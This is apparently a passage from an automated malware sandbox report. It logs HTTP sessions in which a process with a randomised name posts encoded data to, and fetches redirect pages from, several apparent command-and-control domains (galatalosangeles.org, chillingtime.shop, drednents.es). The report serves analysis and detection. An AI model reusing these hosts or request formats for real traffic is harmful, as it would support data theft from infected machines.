                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 61 48 51 4b 64 58 52 69 59 33 66 58 52 44 47 79 6f 5a 56 72 64 35 46 76 2f 50 66 2f 49 7a 37 68 4f 5a 39 73 61 78 77 48 6c 6e 45 49 66 6d 67 38 6c 5a 33 72 79 70 47 64 54 54 4f 49 78 77 49 31 48 6d 36 6e 63 7a 58 57 6f 5a 75 63 59 71 39 53 7a 6e 43 49 58 35 68 6a 53 6a 4e 79 59 47 71 66 70 52 48 69 59 78 51 38 57 73 47 67 5a 51 71 58 32 77 4f 62 4d 76 39 36 6a 38 53 71 79 44 72 6e 34 6f 6b 6a 61 45 4e 79 73 34 34 7a 45 4f 4b 69 48 6a 48 4c 4d 67 64 6e 50 58 61 5a 32 79 41 52 41 67 55 6e 6f 4f 61 46 56 49 47 6e 32 71 6e 79 2b 4b 35 54 69 6d 74 45 50 67 39 31 4e 62 5a 54 54 47 6e 77 46 56 68 4b 46 4f 4c 6b 62 70 50 77 62 51 3d 3d
                                                        Data Ascii: MNodJD8p=aHQKdXRiY3fXRDGyoZVrd5Fv/Pf/Iz7hOZ9saxwHlnEIfmg8lZ3rypGdTTOIxwI1Hm6nczXWoZucYq9SznCIX5hjSjNyYGqfpRHiYxQ8WsGgZQqX2wObMv96j8SqyDrn4okjaENys44zEOKiHjHLMgdnPXaZ2yARAgUnoOaFVIGn2qny+K5TimtEPg91NbZTTGnwFVhKFOLkbpPwbQ==


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        10192.168.2.7592793.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:27:37.678459883 CEST705OUTPOST /v7f6/ HTTP/1.1
                                                        Host: www.galatalosangeles.org
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 241
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.galatalosangeles.org
                                                        Referer: http://www.galatalosangeles.org/v7f6/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 61 48 51 4b 64 58 52 69 59 33 66 58 54 6a 32 79 6e 61 74 72 4e 70 46 73 36 50 66 2f 48 54 37 74 4f 5a 78 73 61 31 42 43 6d 56 67 49 63 44 4d 38 6d 62 54 72 78 70 47 64 62 7a 4f 4e 38 51 49 69 48 6d 32 56 63 33 66 57 6f 5a 71 63 59 71 74 53 79 51 57 50 46 35 68 6c 61 44 4e 77 57 6d 71 66 70 52 48 69 59 78 45 43 57 73 65 67 65 68 61 58 31 56 69 63 53 2f 39 35 30 4d 53 71 32 44 72 64 34 6f 6b 56 61 42 56 59 73 36 41 7a 45 50 36 69 45 78 76 45 43 67 64 68 41 33 62 58 2b 67 46 57 45 78 30 47 75 59 53 49 64 50 4b 62 36 38 36 51 6b 6f 31 2f 38 33 56 2f 4c 69 5a 44 61 39 45 6d 52 48 6a 6f 49 33 56 72 61 35 75 4f 57 37 75 30 4e 67 53 61 55 51 57 35 43 63 6a 69 75 34 4f 55 4e 32 64 2b 67 72 34 3d
                                                        Data Ascii: MNodJD8p=aHQKdXRiY3fXTj2ynatrNpFs6Pf/HT7tOZxsa1BCmVgIcDM8mbTrxpGdbzON8QIiHm2Vc3fWoZqcYqtSyQWPF5hlaDNwWmqfpRHiYxECWsegehaX1VicS/950MSq2Drd4okVaBVYs6AzEP6iExvECgdhA3bX+gFWEx0GuYSIdPKb686Qko1/83V/LiZDa9EmRHjoI3Vra5uOW7u0NgSaUQW5Ccjiu4OUN2d+gr4=


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        11192.168.2.7592803.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:27:40.226896048 CEST1718OUTPOST /v7f6/ HTTP/1.1
                                                        Host: www.galatalosangeles.org
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 1253
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.galatalosangeles.org
                                                        Referer: http://www.galatalosangeles.org/v7f6/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 61 48 51 4b 64 58 52 69 59 33 66 58 54 6a 32 79 6e 61 74 72 4e 70 46 73 36 50 66 2f 48 54 37 74 4f 5a 78 73 61 31 42 43 6d 56 6f 49 66 78 45 38 6b 37 76 72 77 70 47 64 56 54 4f 4d 38 51 49 2f 48 69 61 52 63 33 61 30 6f 62 69 63 5a 4d 68 53 31 68 57 50 66 70 68 6c 57 6a 4e 78 59 47 72 64 70 52 58 6d 59 78 55 43 57 73 65 67 65 6a 43 58 68 51 4f 63 51 2f 39 36 6a 38 53 6d 79 44 71 79 34 6f 4d 46 61 42 59 76 74 4a 49 7a 46 76 71 69 49 69 48 45 64 77 64 6a 55 58 61 4b 2b 68 35 5a 45 77 59 30 75 59 50 66 64 49 47 62 35 71 54 37 32 6f 31 44 6e 57 42 37 4b 52 4e 74 56 2b 63 71 52 31 36 56 46 6c 38 4d 61 72 53 51 52 4b 69 48 41 47 66 6f 4b 53 32 51 50 4d 48 55 6d 39 4c 4b 4b 55 70 41 7a 39 41 52 4f 5a 71 58 31 68 45 4b 32 4b 4c 69 66 55 66 6b 50 32 70 4c 76 71 41 56 7a 6f 4f 62 35 67 47 4c 41 54 79 48 5a 52 67 6a 55 56 4c 7a 6e 47 71 37 7a 63 69 6a 71 2f 72 44 49 69 71 42 6d 64 68 55 67 6c 57 49 47 48 37 59 4e 70 79 64 4e 33 4e 50 4a 44 2b 34 6a 74 76 55 4e 54 5a 6d 70 4e 47 58 39 [TRUNCATED]
                                                        Data Ascii: MNodJD8p=aHQKdXRiY3fXTj2ynatrNpFs6Pf/HT7tOZxsa1BCmVoIfxE8k7vrwpGdVTOM8QI/HiaRc3a0obicZMhS1hWPfphlWjNxYGrdpRXmYxUCWsegejCXhQOcQ/96j8SmyDqy4oMFaBYvtJIzFvqiIiHEdwdjUXaK+h5ZEwY0uYPfdIGb5qT72o1DnWB7KRNtV+cqR16VFl8MarSQRKiHAGfoKS2QPMHUm9LKKUpAz9AROZqX1hEK2KLifUfkP2pLvqAVzoOb5gGLATyHZRgjUVLznGq7zcijq/rDIiqBmdhUglWIGH7YNpydN3NPJD+4jtvUNTZmpNGX9OwVuqopmB4kSX2vwwu2p2gIHxGcvFpedNjIM1A6KrluB53rJnumU6lafZmrapcuzi2K3lt8RMoFv/BkqDQvaqiOs+LyWBgNbTIClnuue+EC9zOU+6Jdpeq5HBM95X0NhKW1HmpEFVPafI1aBrmAWYxD39PJputM4jW1+dmyd+zsneGgcMpz2V7yDtpNSwIQqxVU6QvRNG4vaj9iJwvY54t5rYDrjUjEgaNucO/wpn3Ewcxa0tY1pyTi9O1lds08R0ugzfcuYJYr1XiFc/tCYhNv1mxSCAF7WJD46r1GkKsl6fg5Gfl48BdksaWh8Q6nGhVfj2xRYJ6YTiyYrqbGUOGVyci5l8TwkqEVlcdzrKMj2re6lgZuRKDqS2X5HJiu0nOyWs7xRRt5bMIPyBDw6NWRDhMKlK5AgLWfeUP9PDPUhxoEo6FUs3NqOwF/u5BalxFB8Q38IE96DTCECIKREnpX0s/Fi4T0A/33rfjrlHAtsdIMiwiync5t2sUiU0GdAMBc07Cyk9CwT4HDp+Fc38SGc1TplVLF8DJAzjnZbF7jYqh0wVR2V+tZ2R5urmtm8bOml/NDkW1cLyOfje2aswDq+0Jn5tu2XYjLS6IlV7yy93BFqWppJbUCGxxh3hGk3fRJKbRgMjZGwQNBZxmf3Cid+S0nPUCIw51 [TRUNCATED]


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        12192.168.2.7592813.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:27:43.691859961 CEST412OUTGET /v7f6/?MNodJD8p=XF4qeg9ZZgTAThyVlalCdKNU99LfXS2lLMZLa1YAu2kMLhYluJ+1/4qiQDOp90UUak+QbyH64omdN7gzrQa5FaRBbg95DUa8jSSlfRAmfeyBeU+cpFm8YfZCh5mA/E+0k6dMbGsvvroL&f4=xxLl5tHp-byppxH HTTP/1.1
                                                        Host: www.galatalosangeles.org
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        May 27, 2024 12:28:15.675017118 CEST423INHTTP/1.1 200 OK
                                                        Server: openresty
                                                        Date: Mon, 27 May 2024 10:28:15 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 283
                                                        Connection: close
                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 4d 4e 6f 64 4a 44 38 70 3d 58 46 34 71 65 67 39 5a 5a 67 54 41 54 68 79 56 6c 61 6c 43 64 4b 4e 55 39 39 4c 66 58 53 32 6c 4c 4d 5a 4c 61 31 59 41 75 32 6b 4d 4c 68 59 6c 75 4a 2b 31 2f 34 71 69 51 44 4f 70 39 30 55 55 61 6b 2b 51 62 79 48 36 34 6f 6d 64 4e 37 67 7a 72 51 61 35 46 61 52 42 62 67 39 35 44 55 61 38 6a 53 53 6c 66 52 41 6d 66 65 79 42 65 55 2b 63 70 46 6d 38 59 66 5a 43 68 35 6d 41 2f 45 2b 30 6b 36 64 4d 62 47 73 76 76 72 6f 4c 26 66 34 3d 78 78 4c 6c 35 74 48 70 2d 62 79 70 70 78 48 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?MNodJD8p=XF4qeg9ZZgTAThyVlalCdKNU99LfXS2lLMZLa1YAu2kMLhYluJ+1/4qiQDOp90UUak+QbyH64omdN7gzrQa5FaRBbg95DUa8jSSlfRAmfeyBeU+cpFm8YfZCh5mA/E+0k6dMbGsvvroL&f4=xxLl5tHp-byppxH"}</script></head></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        13192.168.2.7592823.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:28:20.720109940 CEST676OUTPOST /e6fw/ HTTP/1.1
                                                        Host: www.chillingtime.shop
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 221
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.chillingtime.shop
                                                        Referer: http://www.chillingtime.shop/e6fw/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 71 37 31 6b 52 46 72 69 56 56 6c 32 37 63 65 4e 36 2f 4c 56 34 6c 48 32 46 6c 57 59 72 47 4e 67 6e 44 4b 6f 65 55 66 70 45 49 34 48 54 50 4d 4e 67 65 76 38 30 5a 2b 39 6a 43 68 4b 44 46 44 6b 63 51 5a 6f 2f 6f 38 79 61 59 45 66 37 4e 46 59 50 72 70 65 2f 42 56 4e 50 39 6f 78 6a 78 79 4e 39 64 76 41 32 62 7a 31 4a 54 49 41 30 2b 49 77 50 6b 6e 30 48 72 49 4d 4f 4d 58 76 57 6b 2b 34 4c 56 42 5a 63 70 6c 64 57 39 59 42 61 38 38 72 72 76 47 48 68 33 41 78 67 4c 48 6a 59 37 39 4e 52 69 76 77 52 70 48 4b 51 70 47 34 4f 52 63 71 6e 48 77 56 34 54 64 72 54 44 48 4f 68 70 5a 4d 35 36 4b 73 58 4c 37 51 34 75 54 69 73 46 33 4d 4b 67 3d 3d
                                                        Data Ascii: MNodJD8p=q71kRFriVVl27ceN6/LV4lH2FlWYrGNgnDKoeUfpEI4HTPMNgev80Z+9jChKDFDkcQZo/o8yaYEf7NFYPrpe/BVNP9oxjxyN9dvA2bz1JTIA0+IwPkn0HrIMOMXvWk+4LVBZcpldW9YBa88rrvGHh3AxgLHjY79NRivwRpHKQpG4ORcqnHwV4TdrTDHOhpZM56KsXL7Q4uTisF3MKg==


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        14192.168.2.7592833.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:28:23.266431093 CEST696OUTPOST /e6fw/ HTTP/1.1
                                                        Host: www.chillingtime.shop
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 241
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.chillingtime.shop
                                                        Referer: http://www.chillingtime.shop/e6fw/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 71 37 31 6b 52 46 72 69 56 56 6c 32 36 38 4f 4e 34 63 7a 56 76 56 48 70 63 56 57 59 77 32 4e 6b 6e 44 57 6f 65 56 4c 35 46 36 73 48 54 76 63 4e 6a 66 76 38 33 5a 2b 39 6f 69 68 50 48 46 44 56 63 52 6c 57 2f 74 45 79 61 59 67 66 37 4d 56 59 61 4d 31 52 2b 52 56 50 44 64 6f 7a 2b 42 79 4e 39 64 76 41 32 62 6d 75 4a 51 34 41 30 4b 30 77 50 48 2f 37 5a 62 49 50 4a 4d 58 76 53 6b 2b 30 4c 56 42 6e 63 70 55 49 57 2f 67 42 61 2b 30 72 72 36 36 41 72 33 41 4e 39 37 47 43 62 2f 6b 47 51 67 79 4c 4a 35 7a 35 61 61 43 72 4c 6e 42 49 39 6c 38 35 6d 43 6c 51 58 42 6a 34 32 50 45 35 37 37 4f 30 61 70 50 78 6e 5a 32 49 68 58 57 49 63 5a 54 6e 6b 6a 55 30 69 4f 50 6d 63 59 6f 68 4d 44 5a 56 48 6c 55 3d
                                                        Data Ascii: MNodJD8p=q71kRFriVVl268ON4czVvVHpcVWYw2NknDWoeVL5F6sHTvcNjfv83Z+9oihPHFDVcRlW/tEyaYgf7MVYaM1R+RVPDdoz+ByN9dvA2bmuJQ4A0K0wPH/7ZbIPJMXvSk+0LVBncpUIW/gBa+0rr66Ar3AN97GCb/kGQgyLJ5z5aaCrLnBI9l85mClQXBj42PE577O0apPxnZ2IhXWIcZTnkjU0iOPmcYohMDZVHlU=


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        15192.168.2.7592843.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:28:25.805011988 CEST1709OUTPOST /e6fw/ HTTP/1.1
                                                        Host: www.chillingtime.shop
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 1253
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.chillingtime.shop
                                                        Referer: http://www.chillingtime.shop/e6fw/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 71 37 31 6b 52 46 72 69 56 56 6c 32 36 38 4f 4e 34 63 7a 56 76 56 48 70 63 56 57 59 77 32 4e 6b 6e 44 57 6f 65 56 4c 35 46 37 55 48 54 64 6b 4e 68 38 48 38 32 5a 2b 39 68 43 68 4f 48 46 44 49 63 52 38 52 2f 74 42 50 61 61 49 66 36 75 4e 59 4c 5a 42 52 77 52 56 50 4c 39 6f 79 6a 78 79 63 39 63 66 63 32 62 32 75 4a 51 34 41 30 4d 51 77 49 55 6e 37 62 62 49 4d 4f 4d 58 72 57 6b 2b 59 4c 56 59 66 63 6f 67 59 58 4c 63 42 61 65 6b 72 71 49 53 41 32 48 41 50 2b 37 47 67 62 36 38 4a 51 68 66 77 4a 35 33 41 61 59 43 72 4b 69 4d 52 69 58 73 61 35 6a 42 79 56 44 6e 38 2f 65 55 65 39 4a 65 4b 53 75 33 45 6a 35 7a 7a 75 47 57 44 65 66 2b 34 6d 79 6b 47 74 75 37 50 55 39 4a 51 55 43 52 77 54 6a 67 4d 32 67 52 51 4d 6c 2f 4a 78 6e 35 6e 4f 6a 58 6b 61 6a 52 48 38 4c 5a 44 49 79 66 6a 38 45 4a 6b 5a 2f 6e 62 4c 42 48 4c 6d 53 6d 39 76 4c 4a 48 39 43 77 49 34 36 2f 74 75 4d 61 4c 54 5a 4c 7a 30 72 59 62 78 76 4a 4c 35 6e 51 35 33 47 2f 74 59 64 41 4e 35 52 64 6b 38 44 46 39 2f 6a 4d 34 44 [TRUNCATED]
                                                        Data Ascii: MNodJD8p=q71kRFriVVl268ON4czVvVHpcVWYw2NknDWoeVL5F7UHTdkNh8H82Z+9hChOHFDIcR8R/tBPaaIf6uNYLZBRwRVPL9oyjxyc9cfc2b2uJQ4A0MQwIUn7bbIMOMXrWk+YLVYfcogYXLcBaekrqISA2HAP+7Ggb68JQhfwJ53AaYCrKiMRiXsa5jByVDn8/eUe9JeKSu3Ej5zzuGWDef+4mykGtu7PU9JQUCRwTjgM2gRQMl/Jxn5nOjXkajRH8LZDIyfj8EJkZ/nbLBHLmSm9vLJH9CwI46/tuMaLTZLz0rYbxvJL5nQ53G/tYdAN5Rdk8DF9/jM4DlLfYJ6dwvu2TXHW1vLRIJqjhXqNEI0t3v9INLAm7nB0R7yEGINzYMTp9lnN7OQKnt+8I1Gc5bnObs4Lu/B5MuDPb4BQyfSSkxtcW3gG1s2ewSLXpgMRT6WXZAX8ONkVUEGgwVMoL+dsITklYd6cXsEKIQ63QubHWnHAG6+H9PvTNWPElVFwcIZlcXzlJ0pI5CcIPLoH0KBHCjj8EtCa18m8afV4mFfN6L8PQ78KhMw1AckLMbyXIIt90QfapDQ3351LaAVWdxl3mvRVfAQPx91gw65xQ0WQpsGyrnez8uCcG6CB9iEw7UO6YJ2aEO20IlIgYHffjy8jhG/KBWNX/vVm71sq6zhoG4K3CaN9dDGV2ANe5wUo30BxFlN3GkUZV5ZIy/vWDqxM0rfE9f+zDWu9wrGAqX2if3cE06v+0mW7wuNHfvxboxhsg9lJ10WwSnNvfQYRh+TKWQ1/ZGsRV/iF6aiY9qWDxMZUTmputmc2BO5qcxGI15E+WRsSAlwd17HVD/LddSE3n29jeWk/6K0eIkMhV2X8MQx6HpuiBkk80oCiX29JyVOvK8MJcEbfVuMrwNsVhoVN5yUTWhc5UcXgBz3PsstMyttgMvlsk+G/17t/4yJo5UrYJIoWMOpecHysBIwbzp1vN75Q8uGuCvCajaK+MewKmXP [TRUNCATED]


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        16192.168.2.7592853.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:28:28.336215973 CEST409OUTGET /e6fw/?f4=xxLl5tHp-byppxH&MNodJD8p=n5dESxf/cXtX+IWK1PHyu1L8TFflxVgasmaJS2CdKaZYGchug9mh5pyHlytVKDb3Cg5u6YFnb48YkM5fb7pMgDgbFs0i5g+O9MKB2IOkFyIMxqAROkXgP4I/Dc/XYjPAbEAcXqhbTswY HTTP/1.1
                                                        Host: www.chillingtime.shop
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        May 27, 2024 12:28:28.792587996 CEST423INHTTP/1.1 200 OK
                                                        Server: openresty
                                                        Date: Mon, 27 May 2024 10:28:28 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 283
                                                        Connection: close
                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 66 34 3d 78 78 4c 6c 35 74 48 70 2d 62 79 70 70 78 48 26 4d 4e 6f 64 4a 44 38 70 3d 6e 35 64 45 53 78 66 2f 63 58 74 58 2b 49 57 4b 31 50 48 79 75 31 4c 38 54 46 66 6c 78 56 67 61 73 6d 61 4a 53 32 43 64 4b 61 5a 59 47 63 68 75 67 39 6d 68 35 70 79 48 6c 79 74 56 4b 44 62 33 43 67 35 75 36 59 46 6e 62 34 38 59 6b 4d 35 66 62 37 70 4d 67 44 67 62 46 73 30 69 35 67 2b 4f 39 4d 4b 42 32 49 4f 6b 46 79 49 4d 78 71 41 52 4f 6b 58 67 50 34 49 2f 44 63 2f 58 59 6a 50 41 62 45 41 63 58 71 68 62 54 73 77 59 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?f4=xxLl5tHp-byppxH&MNodJD8p=n5dESxf/cXtX+IWK1PHyu1L8TFflxVgasmaJS2CdKaZYGchug9mh5pyHlytVKDb3Cg5u6YFnb48YkM5fb7pMgDgbFs0i5g+O9MKB2IOkFyIMxqAROkXgP4I/Dc/XYjPAbEAcXqhbTswY"}</script></head></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        17192.168.2.759286104.21.81.34806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:28:33.842618942 CEST661OUTPOST /z86o/ HTTP/1.1
                                                        Host: www.drednents.es
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 221
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.drednents.es
                                                        Referer: http://www.drednents.es/z86o/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 44 68 50 54 33 38 68 68 63 75 32 42 41 4a 30 62 4d 39 79 4e 78 6a 34 50 47 6b 6b 44 30 34 4c 36 6f 47 41 58 61 58 77 4c 4a 4a 47 2f 6f 63 59 56 45 5a 7a 31 36 35 64 6b 43 45 6b 6f 54 33 73 38 49 34 41 48 4a 55 33 56 43 75 35 56 53 2b 77 6a 4c 4d 41 7a 65 56 39 6c 35 31 47 38 41 79 6c 77 55 73 43 30 34 67 4a 69 64 66 6a 31 42 70 48 49 34 58 77 71 47 67 62 69 37 56 51 33 6b 77 75 59 67 36 4f 77 30 6d 57 6b 36 51 4b 50 78 56 49 6d 77 2f 6c 47 31 72 73 79 58 57 63 53 57 61 56 74 38 48 2b 6c 7a 4a 75 36 51 37 55 69 7a 70 4d 6d 4b 77 6e 31 52 33 35 53 6b 39 64 6f 6e 38 43 71 4c 6c 2b 4f 54 46 6f 4b 54 73 74 33 6b 45 30 54 78 41 3d 3d
                                                        Data Ascii: MNodJD8p=DhPT38hhcu2BAJ0bM9yNxj4PGkkD04L6oGAXaXwLJJG/ocYVEZz165dkCEkoT3s8I4AHJU3VCu5VS+wjLMAzeV9l51G8AylwUsC04gJidfj1BpHI4XwqGgbi7VQ3kwuYg6Ow0mWk6QKPxVImw/lG1rsyXWcSWaVt8H+lzJu6Q7UizpMmKwn1R35Sk9don8CqLl+OTFoKTst3kE0TxA==
                                                        May 27, 2024 12:28:34.804016113 CEST865INHTTP/1.1 404 Not Found
                                                        Date: Mon, 27 May 2024 10:28:34 GMT
                                                        Content-Type: text/plain; charset=utf-8
                                                        Content-Length: 9
                                                        Connection: close
                                                        Access-Control-Allow-Origin: http://www.drednents.es
                                                        Vary: Origin, Accept-Encoding
                                                        Access-Control-Allow-Credentials: true
                                                        X-XSS-Protection: 1; mode=block
                                                        X-Frame-Options: DENY
                                                        X-Download-Options: noopen
                                                        X-Content-Type-Options: nosniff
                                                        ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"
                                                        CF-Cache-Status: DYNAMIC
                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OhIcGMmR01kkjvrqYCW4VV7TVvE5WPaaSUblrZpvWTnx75%2BYiU886K695Pq7AymwDUV8l%2Fda3KVOpM%2FVdyLssHfBklwJUy80Z3xD4a3u%2FpCITrFKKl8Fsvm89oDgJ1BmNPX2"}],"group":"cf-nel","max_age":604800}
                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                        Server: cloudflare
                                                        CF-RAY: 88a551a22e6ac440-EWR
                                                        alt-svc: h3=":443"; ma=86400
                                                        Data Raw: 4e 6f 74 20 46 6f 75 6e 64
                                                        Data Ascii: Not Found


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        18192.168.2.759287104.21.81.34806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:28:36.722254038 CEST681OUTPOST /z86o/ HTTP/1.1
                                                        Host: www.drednents.es
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 241
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.drednents.es
                                                        Referer: http://www.drednents.es/z86o/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 44 68 50 54 33 38 68 68 63 75 32 42 42 70 45 62 41 2f 61 4e 36 6a 34 49 4a 45 6b 44 76 6f 4c 2b 6f 47 4d 58 61 56 63 62 4a 37 53 2f 6f 2b 41 56 46 59 7a 31 35 35 64 6b 4a 6b 6b 70 51 48 73 6e 49 34 4e 34 4a 57 6a 56 43 75 39 56 53 2f 41 6a 4c 2f 6f 38 63 46 39 6e 31 56 47 36 44 43 6c 77 55 73 43 30 34 67 4e 63 64 66 37 31 42 39 44 49 35 32 77 70 5a 51 62 6a 38 56 51 33 67 77 75 63 67 36 50 66 30 6b 7a 4c 36 53 79 50 78 55 34 6d 77 74 64 4a 73 62 73 72 62 47 64 44 65 4a 49 5a 37 6b 43 56 7a 37 75 78 56 4c 59 4f 37 2f 52 45 51 53 72 5a 50 6d 42 70 67 2f 35 65 77 61 66 66 4a 6b 36 57 65 6e 63 72 4d 62 49 64 70 57 56 58 6e 7a 75 6d 44 6f 53 2f 33 4c 5a 75 32 76 35 49 41 73 54 32 77 46 6b 3d
